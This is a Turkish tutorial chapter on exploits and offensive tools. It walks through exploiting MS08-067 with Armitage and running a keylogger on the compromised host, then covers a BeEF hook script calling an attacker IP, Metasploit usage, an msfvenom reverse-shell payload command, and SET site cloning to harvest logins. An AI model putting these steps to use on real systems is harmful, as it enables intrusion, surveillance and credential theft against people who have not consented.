9. Exploit

Exploit bir sistemin açığından yararlanarak sistemi ele geçirmeyi sağlayan yazılımlardır. Hack ve güvenlik için vazgeçilmezdir. Siyah şapkalı hackerlar hack için kullanır beyaz şapkalı hackerlar ise pentest (Penetration Test) yapmak için kullanırlar. Exploitler genel olarak public ve private olmak üzere 2 gruba ayrılırlar. Public olanlar herkesin erişim sağlayabileceği exploitlerdir. Private olanlar ise ücretli olup belli başlı exploit sitelerinde veya deebwep’te satılırlar. Örneğin 0day.

_images/110.png

Örneğin burada Twitter reset account Private Method 0day Exploit private ücretli bir exploittir. Exploitler genel anlamda c,python,perl,ruby gibi dillerle yazılmaktadır.

Exploit Çeşitleri

Exploitler kullanım amacına göre 3’e ayrılırlar.

-Remote Exploits

-Local Exploits

-0day Exploits (Private)

a) Remote Exploits Remote adından da anlaşılacağı gibi uzaktan sistemi exploit eder. Kısaca çevremizde olmayan bir sistemi exploit etmeye yarayan yazılımlara remote exploit denir. Burada sadece hedef kişi olmakta sınırlı değildir. Hedefimiz bir sunucu da bir kişi ve sistemde olabilir.

b) Local Exploits Sistemde direk olarak çalışan exploitlerdir. Genellikle sistemde yetki yükseltmek amacıyla kullanılır. Örneğin bir linux servere girdiniz fakat işlem yapmak için gerekli olan yetkileriniz olmadığını varsayalım yani root değilsiniz. Bu durumda local exploitler devreye girmektedir. Serveri rootlamak, tüm yetkilere sahip olmak için serverin kurulu olan versiyonuna göre sistemi exploit edersiniz.

c) 0day Exploits En tehlikeli olan exploitlerdir. Bir sistemde açık bulunduğu anda koda dökülüp paylaşılan exploitlerdir. Tehlikeli olma sebebi ise sistemde veya yazılımda bulunan açığın sistem yöneticisi tarafından haberi olmamasıdır.

Örnek exploit Siteleri

-0day.today

-Exploit-db.com

9.1. Armitage

_images/38.png

Armitage, sistemlere sızmak için yapılmış görsel arayüzlü bir programdır.Metasploit’in görsel halidir diyebiliriz.Ayrıca Armitage’nin ücretli hali bulunan Cobalt Strike adlı bir programıda bulunmaktadır.Armitage’yi sağlıklı bir şekilde kullanabilmemiz için modülleri nasıl kullanacağımızı ve ne işe yaradıklarını bilmemiz gerekir. Armitage’yi sorunsuz kullanabilmemiz için gereken araçlar:

Metasploit ve bileşenleri:

- PostgreSQL

- Nmap

- Java 1.7 Sürümü

Parse Error Çözümü

Bu sorun genellikle Kali Linux 2.0 sürümünde yaşanıyor.

_images/39.png

Resimde gördüğünüz gibi Armitage’yi açıp “Connect” butonuna bastıktan sonra karşılaştığımız “parse error” sorunun çözümünü gösterelim. Armitage’nin sitesine girelim ve program dosyalarını yeniden indirelim. http://www.fastandeasyhacking.com/download Ardından indirdiğimiz dosyayı arşivden çıkarıp /usr/share/ dizinindeki “armitage” klasörü ile değiştirelim. Sorunumuz çözülmüştür.

_images/40.png

Şimdi yeniden giriş yaptığımızda böyle bir sorunla karşılaşmıyoruz. Armitage’yi açıp tanıtmadan önce postgresql servisini başlatmamız gerekir.

Komut:

/etc/init.d/postgresql start

Servisi başlattıktan sonra Armitage’yi açabiliriz.

_images/41.png

Burada Connect butonuna tıklıyoruz.

_images/42.png

Burada Metasploit RPC sunucusun çalışmadığını ve bizim bu sunucu çalıştırmamız gerektiğini söyleyen bir soru var. Biz bu soruya “Yes” cevabını vererek Armitage programını çalıştırıyoruz.

_images/43.png

Gördüğünüz gibi Armitage programı açıldı.

Armitageyi Tanıyalım

Aşağıdaki resimde gördüğümüz gibi Armitage arayüzü 3 bölümden ve bir tane üst menü çubuğundan oluşur.

_images/44.png

Modüller

Bu bölümde hedef üzerinde kullanabileceğimiz araçlar bulunur. Konu başında belirttiğimiz gibi saldırılarda modüllerin ne işe yaradıklarını ve nasıl kullanacağımızı bilmemiz gerekir. Bu alandaki modülleri hedef üzerinde kullanmak için üzerine tıklayıp gerekli alanların doldurulması gerekir.

Hedefler

Bu alanda hedef cihazlarımız bulunur. İstersek Nmap aracı yardımıyla ağdaki cihazları tarayarak hedeflerimizi listeleriz ya da Manuel bir şekilde Host eklenebilir. Hedefleri Görsel ya da Liste olarak sıralayabiliriz. Bu alanı rahat bir şekilde kullanabilmek için klavye kısa yolları şu şekildedir.

Hedeflerde Kullanılan Kısa Yollar:

CTRL + Hedefleri yakınlaştırır.

CTRL - Hedefleri uzaklaştırır.

CTRL + 0 Yakınlaşma ayarını sıfırlar.

CTRL + A Tüm hedefleri seçer.

CTRL + C Hedefleri daire şeklinde gösterir.

CTRL + S Hedefleri yan sıra halinde gösterir.

Sekmeler

Armitage yaptığımız her bir işlemi ayrı sekmelere(tablara) açar. Hedef üzerinde çalıştırdığımız modüller vs herzeye ayrı sekmede tutulur. Bu alanda kullanabileceğimiz klavye kısa yol tuşları şöyledir.

Sekmelerde Kullanılan Kısa Yollar:

CTRL + T Seçili olan sekmenin ekran görüntüsünü almamızı sağlar.

CTRL + D Seçili olan sekmeyi kapatır.

CTRL + W Seçili olan sekmeyi yeni bir pencereye aktarır.

Console Sekmesi:

Konsol sekmesi tamamen metasploit komutlarıyla çalışır. Bu sekmede işlerimizi manuel olarak ta görebiliriz. Bu sekme için kısa yol tuşları şu şekildedir.

YUKARI OK Önceden girilen komutları yazar.

TAB Terminalde olduğu gibi burada da yazılan komutu tamamlar.

CTRL + Konsolun yazı boyutunu büyütür.

CTRL - Konsolun yazı boyutunu küçültür.CTRL 0 Konsolun yazı boyutunu sıfırlar.

CTRL F Konsolda yazdığımız komutları arar.

CTRL N Yeni konsol sekmesi açar.

Manuel Hedef Ekleme

_images/45.png

Import Host: Hedefleri eklemek için iki seçenek vardır. Bunlardan biri “Import Host” seçeneğidir. Bu seçenek ile bir metin belgesine eklediğimiz hedefleri içe aktarabiliriz.

_images/46.png

Bu pencerede hedefleri import edeceğimiz dizine gelerek import edebiliriz.

_images/47.png

Gördüğünüz gibi başarıyla hedefleri import ettik.

_images/48.png

Add Hosts: Hedefleri eklemek için bir diğer seçenek ise “Add Host” seçeneğidir. Bu seçenek ile hedefleri manuel bir şekilde girip ekleyebilirsiniz.

_images/49.png

“Add Host” penceresine hedefleri manuel olarak giriyoruz ve başarılı bir şekilde ekleniyor.

Nmap ile Ağda Tarama Yapmak

Ağımızdaki hedefleri taramadan önce hangi IP tabanında olduğumuzu bilmeliyiz. Bunun için terminali açarak ifconfig komutunu verelim. Baktığımız zaman IP adresimizin 192.168.0. bloğunda olduğunu görüyoruz ve taramamızı bu göre yapacağız. Başlayalım..

Hosts > Nmap Scan > Quick Scan (OS Detect) yolunu izliyoruz.

Quick Scan (OS Detect) : Ağ taramalarında işletim sistemlerini tespit etmek için kullanılan bir tarama türüdür.

_images/50.png

Resimde gördüğümüz alana IP adres tabanımıza kadar yazıp sonuna ” 0/24 ” ekledik. Yani 192.168.0.0 adresi ile 192.168.0.255 adresleri arasında bir tarama yapacak ve bize bu adreslerdeki işletim sistemlerini listeleyecektir. “OK” deyip taramamızı başlatıyoruz.

_images/51.png

Gördüğümüz gibi ağımızda bulunan cihazlar listelendi. Burada baktığımızda Windows XP sistemi MS08-067 güvenlik zafiyeti mevcut olduğundan sızmak için ideal bir sistemdir. Bu sebepten hedef sistemimiz Windows XP sistemi olacaktır

_images/52.png

Şimdi hedefe atack yapalım. Hedef sistemin üzerine tıklayarak Attacks >> Find Attacks bölümünden hedef hakkında tarama yapalım.

_images/53.png

Tarama bittiğinde böyle bir pencere açılacaktır. Bu tarama, hedefe hangi exploit’lerle saldıracağımız hakkında bize exploitler önerir.

_images/54.png

Hedefin üzerine gelerek sağ tıklayıp Attack > smb > ms08_067_netapi exploitini seçiyoruz. Direk bu exploti seçmemizin sebebi yukarıda belirttiğim gibi Windows XP sistemlerde MS08-067 güvenlik zafiyeti mevcut, bizde bu zafiyeti seçtiğimiz exploti ile değerlendirebiliriz. Microsoft sitesinden bu açık hakkında verilen bilgilere bakalım. “MS08-067:Sunucu hizmetindeki güvenlik açığı uzaktan kod yürütülmesine izin verebilir. Bu güvenlik açığından başarıyla yararlanan bir saldırgan, etkilenen sistemin tüm denetimini uzaktan ele geçirebilir. Microsoft Windows 2000, Windows XP ve Windows Server 2003 tabanlı sistemlerde, bir saldırgan kimlik doğrulaması yapılmadan RPC üzerinden bu güvenlik açığından yararlanabilir ve rasgele kod yürütebilir.”

_images/55.png

Exploti seçtiğimizde karşımıza şöyle bir pencere gelecektir. Eğer dediğimiz gibi yaptıysanız ayarlar otomatik hedefe göre yapılmıştır yani burada bir ayar girmemize gerek yoktur. Şimdi “Launch” diyerek saldırımızı başlatalım.

_images/56.png

Exploit başarıyla çalıştı ve meterpreter oturumu açıldı. Yani artık hedef sistemi istediğimiz gibi kullanabiliriz. Neler yapabileceğimiz hakkında birkaç şey gösterelim.

Ekran Görüntüsü Alma

_images/57.png

Meterpreter >> Explore >> Screenshot yolunu izleterek hedef makinenin ekran görüntüsünü alabiliriz. Alttaki “Reflesh” butonuna basarsak hedef makinede değişen her bir kareyi anlık olarak ekran görüntüsünü alır.

Process Yönetimi

_images/58.png

Meterpreter > Explore > Show Processes yolunu izleyerek arka planda çalışan uygulamalara erişip istediğiniz uygulamayı “Kill” ile durdurabilirsiniz.”Migrate” seçeneği ile exploiti başka bir processes bulaştırıp hem gizlenmiş oluruz hem de bulaştığımız processes yetkisini almış oluruz.

Keylogger

_images/59.png

Meterpreter > Explore > Log Keystrokes yolunu açtığımızda karşımıza böyle bir pencere geliyor. Bu pencerede “INTERVAL” bizim için önemli çünkü buraya verilen değere göre hedef makinenin bastığı tuşlar bize o değer aralığında gelir. Bu değeri ayarladıysak “Launch” diyerek devam edebiliriz.

_images/60.png

Baktığımız zaman keylogger explorer ile birlikte çalıştırılmış ve bu bölümde yapılan tuş dinlemeleri “/root/.msf4/20160626232510_default_192.168.0.114_host.windows.key_571390.txt” dizininde kayıt altına alıyor.

_images/61.png

Bir süre sonra baktığımızda hedef makinede kurban bir şeyler girmeye başlıyor ve girdiği değerler “Log Keystrokes” sekmemize düşüyor. Değerler karışık görünebilir biraz pratikten sonra hedefin ne yapmaya çalıştığını rahatlıkla anlayabiliriz.

9.2. Beef

_images/71.png

Beef tarayıcı tabanlı çalışan ve hedef kişinin tarayıcısına hükmetmeyi hatta bilgisayarına sızmayı sağlayan bir yazılımdır. Javascript ile oluşturduğu kodu herhangi bir web sayfasına gömerek kullanıcı orayı ziyaret etmesi durumunda çeşitli verilerini çeken varsa uygun exploitleri kullanmayı yarayan bir yazılımdır. Önemli olan husus ise hedef o siteyi kapatırsa bağlantı düşer. Bağlantı düşmeden önce tüm yapılacaklar elinizde olur. Daha çok XSS açığı mevcut olan sitelerde iş görmektedir. Dilerseniz beef’i bir siteye upload ederek çalıştırabilirsiniz. Localhost üzerinden örnek veriler toplayalım.

Kali Linux’ta kurulu olarak gelmektedir fakat kurulu olan paket giriş bilgilerini kabul etmemektedir. Bu hatayı gidermek için paketi kaldırıp tekrar kurmanız gerekir.

Komut:

beef-xss
_images/81.png

Buradanda anlaşılacağı üzere http://127.0.0.1:3000/ui/authentication bağlantımız aktif oldu. Kullanılacak javascript ise <script src=”http://<IP>:3000/hook.js”></script> bu şekildedir. Bağlantımızı açtığımızda;

Erişim:

http://127.0.0.1:3000/ui/authentication
_images/91.png

Böyle bir giriş ekranı gelmektedir. Burada:

  • Username: beef

  • Password: beef

şeklinde olacaktır.

_images/101.png

Giriş yaptıktan sonra yukarıdaki gibi bir ekran gelmektedir. Burada anlık olarak sisteme bağlı olan kişileri ve daha önce bağlanıp ta düşen kişileri de görebilirsiniz. Logs kısmında ise daha önce yapılan işlevler mevcuttur. Örnek javascript gömüşmüş demoyu http://127.0.0.1:3000/demos/butcher/index.html aktif ettikten sonra bu bağlantı üzerinden gerçekleştirebilirsiniz.

Erişim:

http://127.0.0.1:3000/demos/butcher/index.html
_images/111.png

Örneğin bağlanılan bir kişinin temel sistem ve tarayıcı özellikleri yukarıdaki gibidir. Bunu görüntüleyebilmek için Details bölümüne girmeniz gerekmektedir.

_images/121.png

Kullanabileceğimiz modülleri Commands bölümünden bulabilirsiniz. Simgeler kullanılabilirlik durumunu göstermektedir.

  • Yeşil: Kullanılabilir

  • Turuncu: Sonucu Belli Değil

  • Kırmızı: Kullanılamaz

Sağ en alt kısımda ise Execute buttonu ile modülü çalıştırabilirsiniz.

9.3. Metasploit

_images/m.jpg

Metasploit güvenlik testleri için ruby dili ile kodlanmış exploit kütüphanesidir. Kimi testler için kullanır kimileri ise sömürmek için kullanmaktadır. Bünyesinde 1400’den fazla exploit bulunmaktadır. Bunun yanında auxiliary (Bilgi Toplama) ve Encoder mevcuttur. Kullanımı ve arayüzü gayet sadedir.

Burada Consol tabanlı metasploit üzerinden ilerleyeceğiz. Sistem parametreler mantığı ile çalışmaktadır.

Genel Komut ve Kavramlar

Metasploit’te exploit kullanımı için genel olarak kullanılan komut ve parametreler vardır.

a) Metasploit Başlatma

Kurulu olan sistemlerde metasploiti başlatmak için terminale msfconsole yazmanız

Komut:

msfconsole
_images/31.png

b) Exploit Seçme

Exploit seçmek için use parametresi kullanılmamaktadır.

Komut:

use payload/android/shell/reverse_tcp
_images/410.png

c) Paylod Görüntüleme ve Seçme

Payload exploit edilme işleminden sonra kullanılacak modüllerdir. Yapacağınız işlemlere göre uygun olan payload seçilir. Kullanılacak payloadları görüntüleyebilmek için show payloads komutu kullanılır.

_images/131.png

Uygun olan payloadı seçmek önemlidir. Örneğin seçtiğiniz sistem android ise seçtiğiniz payload’da android olması gerekmektedir. Payloadı seçmek için set PAYLOAD komutu kullanılmaktadır.

_images/141.png

d) Parametre Tanımlama

Sistemi exploit edebilmek için exploit’e sistemi tanımlamak gerekir. Bunu show options kodu ile gerçekleştireceğiz.

_images/151.png
  • Name: Parametre İsmi

  • Current Setting: Girilen Değer

  • Required: Girilmesi zorunlu olup olmadığıdır.

  • Description: Açıklama

Örneğin burada bizden lhost ve lport istemektedir. Bunlara değer girmek için set parametresi kullanılmaktadır.

Örneğin set LHOST 192.168.10.56 gibi

  • LHOST: Local ip

  • LPORT: Local Port

  • RHOST: Remote Host

  • RPORT: Remote Port

e) Exploit Kontrol Etme

Exploiti çalıştırmadan önce hedef sistemde açığın bulunup bulunmadığını test etmek için check parametresi kullanılır. Var ise The target is Vulnerable şeklinde bir sonuç alırsınız yoksa aşağıdaki gibi hatalar alırsınız.

_images/161.png

f) Exploit Hakkında Bilgi Alma

Exploit hakkında temel olarak bilgi ve referans kaynakları görüntülemek için info komutu kullanılır.

_images/171.png

g) Exploit Çalıştırma

Gerekli parametreleri doldurduktan sonra exploit etmek için exploit parametresini vermeniz yeterlidir.

h) Exploit Arama

Exploit arama işlemi belirli kriterlere göre gerçekleşmektedir.

_images/118.png
  • Search keywords: şeklinde kullanılır.

  • App: Modül istemci tabanlımı sunucu tabanlımı

  • Author: Exploit yazarına göre

  • Bid: Bugtraq id’sine göre

  • Cve: CVE ID numarasına göre arama

  • Edb: Exploit Db numarasına göreName: Modülün ismine göre

  • Osvdb: OSVDB ID numarasına göre

  • Platform: Platforma uygun olan

  • Ref: Referansa göre

  • Type: Modülün tipine göre (exploit,auxiliary gibi)

Auxiliary

Auxiliary sistemi exploit etmeden önce hedef sistemde bilgi toplama yazılımlarıdır. Bünyesinde 800’den fazla auxiliary mevcuttur.

_images/191.png

Sistemdeki bulunan tüm auxiliary modüllerini listelemek için show auxiliary parametresini kullanmanız gerekmektedir. Eğer özel arama yapacaksanız search parametresiyle beraber kullanabilirsiniz.

_images/201.png

Auxiliary modülleride tıpkı exploitler gibi çeşitleri vardır. Bunlar Scannerlar, Dos, Bruteforce, Fuzzer gibi çeşitleri mevcuttur.

a) Scanner

Sistem üzerinde açık tarama, port tarama, firewall tespiti gibi. Kısaca sistem hakkında bilgi toplarlar. Scannerleri görüntülemek için search scanner parametresini kullanırız.

_images/211.png

b) Dos

Denial of Servise diye adlandırılan Dos saldırıları için gerekli ve etkili modüllerdir.

_images/231.png

c)Bruteforce

Bruteforce kaba kuvvet saldırısı yani deneme yanılma mantığı olan bir saldırı çeşididir. Metasploitte bruteforce modülleri çeşitli servislere şifre denemesi yapmak için kullanılır. Örneğin ssh,ftp,hazır sistemler gibi..

_images/241.png

d) Fuzzer

Bir yazılıma, platforma, protokole vb. Yapılan düzenli, düzensiz, belirsiz sorgular göndererek alma, çökme gibi işlemlere fuzzer denir.

_images/251.png

MsfVenom

Msfpayload,msfencode modüllerinin birleştirilmiş halidir. Önceden yapılan payload ve işlemleri için ayrı ayrı işlem yapılması gerekirken msfvenom ile tek yazılım altında gerçekleştirilebilmektedir.

  • Msfpayload: Payload oluşturma

  • Msfencode: Encode işlemleri

Örnek payload oluşturma,

Kod:

msfvenom -p windows/meterpreter/reverse_tcp -f exe > dosya.exe
_images/261.png

Meterpreter

Meterpreter ileri derceli bir payload’tır. Bu payload sayasinde bir çok işlem yapılabilir, sistemde kalıcılık sağlayabilir, arka planda vs. ihtiyaç bulunan işlevleri yerine getirebilmektedir.

_images/271.png

Bir sistemi meterpreter payloadı ile exploit ettiğinizde yukarıdaki gibi bir ekran gelmektedir.

_images/291.png

Yukarıda kullanabileceğimiz bazı komutlar gösterilmiştir. Ayrıyeten görünen komutların dışında ek olarak linux komutları ile de sistemde işlevler gerçekleştirilebilir.

9.4. SearchSploit

Searchsploit exploit-db tarafından geliştirilmiş bir exploit arama aracıdır. Herhangi bir yazılımdan exploit bulmak için searchsploit [uygulama adı] şeklinde girmeniz yeterlidir. Örnek olarak android için olan exploitleri görelim.

Komut:

searchsploit android
_images/510.png

Bu işlemden sonra herhangi bir exploitin konumu bulabilmek için locate komutunu kullanabiliriz.

Android - getpidcon Usage binder Service Rep | ./android/dos/40381.txt adlı exploitin konumunu tespit edelim.

Komut:

locate android/dos/40381.txt
_images/6.png

9.5. Settoolkit

SET(Social Engineer Toolkit) sosyal mühendislik için geliştirilen ve bünyesinde bir çok modül barındıran bir frameworktür.

_images/301.png

Kali linux üzerinde kurulu olarak gelmektedir. Terminale setoolkit komutu vererek çalıştırabilir. Bu araç üzerinden örnek bir site klonlayıp hedef kullanıcı sisteme giriş yaptığında bilgilerini çekeceğiz.

İlk aşamada ilk resimdeki gibi seçenekler geldiğinde 1. seçenek yani Social-Engineering Attacks seçilir

_images/311.png

Web site üzerindeki klonlama işlemleri için 2. seçenek Website Attack Vectors seçeneği seçilir. Menüdede görüldülğü gibi birçok seçenek mevcuttur. Bu seçeneklerde örneğin powershell atacklar veya metasploit modülleri ile payloadlar oluşturabilirsiniz.

_images/32.png

Daha sonra 4. seçenek seçilir.

_images/33.png

Burada ise Site Cloner yani 2. seçenek seçilir.

_images/34.png

Burada ise local ip adresimizi ekliyoruz. Bunu terminalden ifconfig diyerekte öğrenebilirsiniz.

_images/35.png

Daha sonra klonlanacak hedef site yazılır.

_images/36.png

Evet scriptimiz /var/www içerisinde oluşturuldu. Kali Linux 2.0 versiyonunda dosyalar direk olarak html klasörüne eklenmediği için ilk etapta çalışmamaktadır. Bu probleme gidermek için oluşturulan dosyaları html klasörünün içine atılması gerekmektedir.

_images/37.png

Görüldüğü gibi scriptimiz sağlıklı bir şekilde çalışmaya başladı.

9.6. Neler Öğrendik?

Bu bölüm altında exploit’in ne olduğunu örnek senaryolar ile nerelerde ve hangi araçlar kullanıldığına değindik.